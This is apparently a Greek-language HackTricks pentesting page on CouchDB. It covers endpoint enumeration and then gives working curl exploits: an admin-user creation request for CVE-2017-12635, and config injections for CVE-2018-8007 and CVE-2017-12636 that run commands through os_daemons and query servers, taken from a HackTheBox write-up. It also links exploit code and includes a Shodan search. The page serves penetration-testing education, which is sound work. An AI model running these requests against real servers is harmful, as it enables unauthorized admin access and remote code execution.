# 5984,6984 - Ελεγχος ασφαλείας CouchDB
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
## **Βασικές Πληροφορίες**
Το **CouchDB** είναι μια ευέλικτη και ισχυρή **βάση δεδομένων προσανατολισμένη σε έγγραφα** που οργανώνει τα δεδομένα χρησιμοποιώντας μια δομή **χάρτη-κλειδί** εντός κάθε **έγγραφου**. Τα πεδία μέσα στο έγγραφο μπορούν να αναπαρασταθούν ως **ζεύγη κλειδιού/τιμής, λίστες ή χάρτες**, παρέχοντας ευελιξία στην αποθήκευση και ανάκτηση δεδομένων.
Κάθε **έγγραφο** που αποθηκεύεται στο CouchDB ανατίθεται ένας **μοναδικός αναγνωριστικός αριθμός** (`_id`) στο επίπεδο του εγγράφου. Επιπλέον, κάθε τροποποίηση που γίνεται και αποθηκεύεται στη βάση δεδομένων ανατίθεται ένας **αριθμός αναθεώρησης** (`_rev`). Αυτός ο αριθμός αναθεώρησης επιτρέπει την αποτελεσματική **παρακολούθηση και διαχείριση των αλλαγών**, διευκολύνοντας την εύκολη ανάκτηση και συγχρονισμό των δεδομένων εντός της βάσης δεδομένων.
**Προεπιλεγμένη θύρα:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Αυτόματη Απαρίθμηση**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
### Χειροκίνητη Απαρίθμηση
#### Μπάνερ
Κατά την χειροκίνητη απαρίθμηση, ένας από τους πρώτους τρόπους για να αποκτήσουμε πληροφορίες για ένα CouchDB σύστημα είναι να εξάγουμε το μπάνερ του. Αυτό μπορεί να γίνει με την αποστολή ενός HTTP αιτήματος GET στην αρχική διεύθυνση του CouchDB. Οι πληροφορίες που μπορούμε να αντλήσουμε από το μπάνερ περιλαμβάνουν την έκδοση του CouchDB, το όνομα του συστήματος, το λειτουργικό σύστημα και άλλες σημαντικές πληροφορίες. Αυτές οι πληροφορίες μπορούν να μας βοηθήσουν να κατανοήσουμε καλύτερα το σύστημα και να εντοπίσουμε πιθανές ευπάθειες.
Για να εξάγουμε το μπάνερ του CouchDB, μπορούμε να χρησιμοποιήσουμε την εντολή `curl` ως εξής:
```bash
curl http://:5984/
```
Αντικαταστήστε το `` με την πραγματική διεύθυνση IP του στόχου. Αν η απάντηση περιέχει πληροφορίες για το CouchDB, τότε έχουμε επιτύχει την εξαγωγή του μπάνερ.
```
curl http://IP:5984/
```
Αυτό εκδίδει ένα αίτημα GET στην εγκατεστημένη περίπτωση του CouchDB. Η απάντηση θα πρέπει να μοιάζει με μία από τις παρακάτω:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Σημειώστε ότι αν έχετε πρόσβαση στη ρίζα του couchdb και λάβετε ένα `401 Unauthorized` με κάτι τέτοιο: `{"error":"unauthorized","reason":"Authentication required."}` **δεν θα μπορέσετε να έχετε πρόσβαση** στο banner ή οποιοδήποτε άλλο endpoint.
{% endhint %}
### Ενημέρωση Απαρίθμησης
Αυτά είναι τα endpoints στα οποία μπορείτε να έχετε πρόσβαση με ένα αίτημα **GET** και να εξάγετε κάποιες ενδιαφέρουσες πληροφορίες. Μπορείτε να βρείτε [**περισσότερα endpoints και πιο λεπτομερείς περιγραφές στην τεκμηρίωση του couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Λίστα των εκτελούμενων εργασιών, συμπεριλαμβανομένου του τύπου της εργασίας, του ονόματος, της κατάστασης και του αναγνωριστικού διεργασίας.
* **`/_all_dbs`** Επιστρέφει μια λίστα με όλες τις βάσεις δεδομένων στην περίπτωση του CouchDB.
* **`/_cluster_setup`** Επιστρέφει την κατάσταση του κόμβου ή του cluster, σύμφωνα με τον οδηγό εγκατάστασης του cluster.
* **`/_db_updates`** Επιστρέφει μια λίστα με όλα τα γεγονότα της βάσης δεδομένων στην περίπτωση του CouchDB. Η ύπαρξη της βάσης δεδομένων `_global_changes` απαιτείται για να χρησιμοποιηθεί αυτό το endpoint.
* **`/_membership`** Εμφανίζει τους κόμβους που ανήκουν στο cluster ως `cluster_nodes`. Το πεδίο `all_nodes` εμφανίζει όλους τους κόμβους που γνωρίζει αυτός ο κόμβος, συμπεριλαμβανομένων αυτών που ανήκουν στο cluster.
* **`/_scheduler/jobs`** Λίστα των εργασιών αντιγραφής. Κάθε περιγραφή εργασίας θα περιλαμβάνει πληροφορίες πηγής και προορισμού, αναγνωριστικό αντιγραφής, ιστορικό πρόσφατων γεγονότων και άλλα.
* **`/_scheduler/docs`** Λίστα των καταστάσεων εγγράφου αντιγραφής. Περιλαμβάνει πληροφορίες για όλα τα έγγραφα, ακόμη και σε καταστάσεις `completed` και `failed`. Για κάθε έγγραφο επιστρέφει το αναγνωριστικό εγγράφου, τη βάση δεδομένων, το αναγνωριστικό αντιγραφής, την πηγή και τον προορισμό, καθώς και άλλες πληροφορίες.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** Το endpoint `/_node/{node-name}` μπορεί να χρησιμοποιηθεί για να επιβεβαιώσετε το όνομα του κόμβου Erlang του διακομιστή που επεξεργάζεται το αίτημα. Αυτό είναι πιο χρήσιμο όταν έχετε πρόσβαση στο `/_node/_local` για να ανακτήσετε αυτές τις πληροφορίες.
* **`/_node/{node-name}/_stats`** Το αντικείμενο `_stats` επιστρέφει ένα αντικείμενο JSON που περιέχει τα στατιστικά για τον εκτελούμενο διακομιστή. Η συμβολοσειρά `_local` λειτουργεί ως ψευδώνυμο για το όνομα του τοπικού κόμβου, οπότε για όλες τις διευθύνσεις URL στατιστικών, το `{node-name}` μπορεί να αντικατασταθεί με `_local`, για να αλληλεπιδράσετε με τα στατιστικά του τοπικού κόμβου.
* **`/_node/{node-name}/_system`** Το αντικείμενο `_system` επιστρέφει ένα αντικείμενο JSON που περιέχει διάφορα στατιστικά σε επίπεδο συστήματος για τον εκτελούμενο διακομιστή. Μπορείτε να χρησιμοποιήσετε το `_local` ως `{node-name}` για να λάβετε τις τρέχουσες πληροφορίες του κόμβου.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Επιβεβαιώνει ότι ο διακομιστής είναι ενεργός, λειτουργεί και είναι έτοιμος να ανταποκριθεί σε αιτήματα. Εάν η [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) είναι `true` ή `nolb`, το endpoint θα επιστρέψει μια απόκριση 404.
* **`/_uuids`** Ζητά ένα ή περισσότερα Μοναδικά Αναγνωριστικά Παγκοσμίως (UUIDs) από την περίπτωση του CouchDB.
* **`/_reshard`** Επιστρέφει τον αριθμό των ολοκληρωμένων, αποτυχημένων, εκτελούμενων, διακόπτονται και συνολικών εργασιών, μαζί με την κατάσταση της αναδιαμόρφωσης στο cluster.
Περισσότερες ενδιαφέρουσες πληροφορίες μπορούν να εξαχθούν όπως εξηγείται εδώ: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Λίστα Βάσεων Δεδομένων**
```
curl -X GET http://IP:5984/_all_dbs
```
Εάν αυτό το αίτημα απαντά με ένα 401 μη εξουσιοδοτημένο, τότε χρειάζεστε κάποια έγκυρα διαπιστευτήρια για να αποκτήσετε πρόσβαση στη βάση δεδομένων:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Για να βρείτε έγκυρα διαπιστευτήρια, μπορείτε να **προσπαθήσετε να** [**δοκιμάσετε brute force στην υπηρεσία**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Αυτό είναι ένα **παράδειγμα** από μια απάντηση του couchdb όταν έχετε **επαρκή δικαιώματα** για να εμφανίσετε τις βάσεις δεδομένων (Είναι απλά μια λίστα με τις βάσεις δεδομένων):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Πληροφορίες Βάσης Δεδομένων
Μπορείτε να αποκτήσετε ορισμένες πληροφορίες για τη βάση δεδομένων (όπως αριθμός αρχείων και μεγέθη) αποκτώντας πρόσβαση στο όνομα της βάσης δεδομένων:
```bash
curl http://IP:5984/
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Λίστα Εγγράφων**
Αναφέρει κάθε καταχώρηση μέσα σε μια βάση δεδομένων
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Ανάγνωση Εγγράφου**
Διαβάστε το περιεχόμενο ενός εγγράφου μέσα σε μια βάση δεδομένων:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Ανόδος Προνομίων στο CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Χάρη στις διαφορές μεταξύ των αναλυτών JSON της Erlang και της JavaScript, μπορείτε να **δημιουργήσετε έναν διαχειριστή χρήστη** με διαπιστευτήρια `hacktricks:hacktricks` με το ακόλουθο αίτημα:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Περισσότερες πληροφορίες για αυτήν την ευπάθεια εδώ**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Επισκόπηση Ασφάλειας Μπισκότου Erlang**
Παράδειγμα [από εδώ](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Στην τεκμηρίωση του CouchDB, ειδικότερα στην ενότητα που αφορά τη ρύθμιση του cluster ([σύνδεσμος](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), συζητείται η χρήση θυρών από το CouchDB σε κατάσταση cluster. Αναφέρεται ότι, όπως και σε αυτόνομη κατάσταση, χρησιμοποιείται η θύρα `5984`. Επιπλέον, η θύρα `5986` είναι για τις τοπικές διεπαφές των κόμβων και, σημαντικότερο, η Erlang απαιτεί την TCP θύρα `4369` για τον Erlang Port Mapper Daemon (EPMD), που διευκολύνει την επικοινωνία των κόμβων σε ένα Erlang cluster. Αυτή η ρύθμιση δημιουργεί ένα δίκτυο όπου κάθε κόμβος συνδέεται με κάθε άλλο κόμβο.
Μια κρίσιμη ασφαλείας ειδοποίηση αναφέρεται για τη θύρα `4369`. Εάν αυτή η θύρα είναι προσβάσιμη μέσω του Διαδικτύου ή οποιουδήποτε μη αξιόπιστου δικτύου, η ασφάλεια του συστήματος εξαρτάται σε μεγάλο βαθμό από ένα μοναδικό αναγνωριστικό που ονομάζεται "μπισκότο" (cookie). Αυτό το μπισκότο λειτουργεί ως προστασία. Για παράδειγμα, σε μια δεδομένη λίστα διεργασιών, μπορεί να παρατηρηθεί το μπισκότο με το όνομα "monster", που υποδηλώνει τον λειτουργικό του ρόλο στο πλαίσιο ασφαλείας του συστήματος.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Για όσους ενδιαφέρονται να κατανοήσουν πώς αυτό το "cookie" μπορεί να εκμεταλλευτεί για την εκτέλεση απομακρυσμένου κώδικα (RCE) στο πλαίσιο των συστημάτων Erlang, υπάρχει μια αφιερωμένη ενότητα για περαιτέρω ανάγνωση. Αναλύονται οι μεθοδολογίες για την εκμετάλλευση των cookies Erlang με μη εξουσιοδοτημένο τρόπο για την απόκτηση ελέγχου πάνω σε συστήματα. Μπορείτε να **[εξερευνήσετε τον λεπτομερή οδηγό για την κατάχρηση των cookies Erlang για RCE εδώ](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Εκμεταλλευόμενοι το CVE-2018-8007 μέσω τροποποίησης του local.ini**
Παράδειγμα [από εδώ](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Μια πρόσφατα αποκαλυφθείσα ευπάθεια, CVE-2018-8007, που επηρεάζει το Apache CouchDB, εξερευνήθηκε, αποκαλύπτοντας ότι η εκμετάλλευση απαιτεί δικαιώματα εγγραφής στο αρχείο `local.ini`. Παρόλο που δεν είναι άμεσα εφαρμόσιμο στο αρχικό σύστημα στόχο λόγω περιορισμών ασφαλείας, έγιναν τροποποιήσεις για να παραχωρηθεί πρόσβαση εγγραφής στο αρχείο `local.ini` για σκοπούς εξερεύνησης. Παρέχονται λεπτομερείς βήματα και παραδείγματα κώδικα παρακάτω, που δείχνουν τη διαδικασία.
Πρώτα, προετοιμάζουμε το περιβάλλον εξασφαλίζοντας ότι το αρχείο `local.ini` είναι εγγράψιμο, επαληθεύοντας τα δικαιώματα πρόσβασης:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Για να εκμεταλλευτείτε την ευπάθεια, εκτελείται ένας εντολή curl, προστίθεται στον στόχο `cors/origins` της διαμόρφωσης `local.ini`. Αυτό εισάγει ένα νέο προέλευσης μαζί με επιπλέον εντολές στην ενότητα `[os_daemons]`, με σκοπό την εκτέλεση αυθαίρετου κώδικα:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Ο επόμενος έλεγχος επιβεβαιώνει την εισαγωγή της διαμόρφωσης στο `local.ini`, συγκρίνοντάς το με ένα αντίγραφο ασφαλείας για να επισημάνει τις αλλαγές:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Αρχικά, το αναμενόμενο αρχείο (`/tmp/0xdf`) δεν υπάρχει, υποδηλώνοντας ότι η εντολή που εισήχθη δεν έχει εκτελεστεί ακόμα. Περαιτέρω έρευνα αποκαλύπτει ότι εκτελούνται διεργασίες που σχετίζονται με το CouchDB, συμπεριλαμβανομένης μίας που θα μπορούσε ενδεχομένως να εκτελέσει την εισαγόμενη εντολή:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Τερματίζοντας την εντοπισμένη διεργασία του CouchDB και επιτρέποντας στο σύστημα να την επανεκκινήσει αυτόματα, ενεργοποιείται η εκτέλεση της ενθετωμένης εντολής, όπως επιβεβαιώνεται από την ύπαρξη του προηγουμένως απουσιάζοντος αρχείου:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Η εξερεύνηση αυτή επιβεβαιώνει την εφαρμοσιμότητα της εκμετάλλευσης CVE-2018-8007 υπό συγκεκριμένες συνθήκες, ειδικά την απαίτηση για εγγράψιμη πρόσβαση στο αρχείο `local.ini`. Οι παραδείγματα κώδικα και οι διαδικαστικές ενέργειες που παρέχονται προσφέρουν έναν σαφή οδηγό για την αναπαραγωγή της εκμετάλλευσης σε έναν ελεγχόμενο περιβάλλον.
Για περισσότερες λεπτομέρειες σχετικά με την CVE-2018-8007, ανατρέξτε στην ενημέρωση από την mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Εξερεύνηση της CVE-2017-12636 με Δικαιώματα Εγγραφής στο local.ini**
Παράδειγμα [από εδώ](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Εξερευνήθηκε μια ευπάθεια γνωστή ως CVE-2017-12636, η οποία επιτρέπει την εκτέλεση κώδικα μέσω της διεργασίας του CouchDB, αν και συγκεκριμένες ρυθμίσεις μπορεί να αποτρέψουν την εκμετάλλευσή της. Παρά την πληθώρα αναφορών Proof of Concept (POC) που είναι διαθέσιμες στο διαδίκτυο, απαιτούνται προσαρμογές για να εκμεταλλευτείτε την ευπάθεια στην έκδοση 2 του CouchDB, η οποία διαφέρει από τη συνήθως στοχευμένη έκδοση 1.x. Οι αρχικές ενέργειες περιλαμβάνουν τον έλεγχο της έκδοσης του CouchDB και την επιβεβαίωση της απουσίας της αναμενόμενης διαδρομής των διακομιστών ερωτημάτων.
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Για να προσαρμοστεί στην έκδοση 2.0 του CouchDB, χρησιμοποιείται ένα νέο μονοπάτι:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Οι προσπάθειες για προσθήκη και εκτέλεση ενός νέου διακομιστή ερωτημάτων αντιμετωπίστηκαν με σφάλματα που σχετίζονται με τα δικαιώματα, όπως φαίνεται από την παρακάτω έξοδο:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Περαιτέρω έρευνα αποκάλυψε προβλήματα άδειας με το αρχείο `local.ini`, το οποίο δεν ήταν εγγράψιμο. Με τροποποίηση των δικαιωμάτων αρχείου με ρίζα ή πρόσβαση homer, έγινε δυνατή η συνέχιση:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Οι επόμενες προσπάθειες για προσθήκη του διακομιστή ερωτημάτων επιτεύχθηκαν, όπως αποδεικνύεται από την απουσία μηνυμάτων σφάλματος στην απόκριση. Η επιτυχής τροποποίηση του αρχείου `local.ini` επιβεβαιώθηκε μέσω σύγκρισης αρχείων:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Η διαδικασία συνεχίστηκε με τη δημιουργία μιας βάσης δεδομένων και ενός εγγράφου, ακολουθούμενη από μια προσπάθεια εκτέλεσης κώδικα μέσω μιας προσαρμοσμένης προβολής που αντιστοιχεί στον νεοπροσταθέντα διακομιστή ερωτήσεων:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Ένα **[σύνοψη](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** με έναν εναλλακτικό φορτίο παρέχει περαιτέρω εισαγωγή στην εκμετάλλευση του CVE-2017-12636 υπό συγκεκριμένες συνθήκες. **Χρήσιμοι πόροι** για την εκμετάλλευση αυτής της ευπάθειας περιλαμβάνουν:
- [Κώδικας εκμετάλλευσης POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Καταχώρηση στη βάση δεδομένων Exploit](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## Αναφορές
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.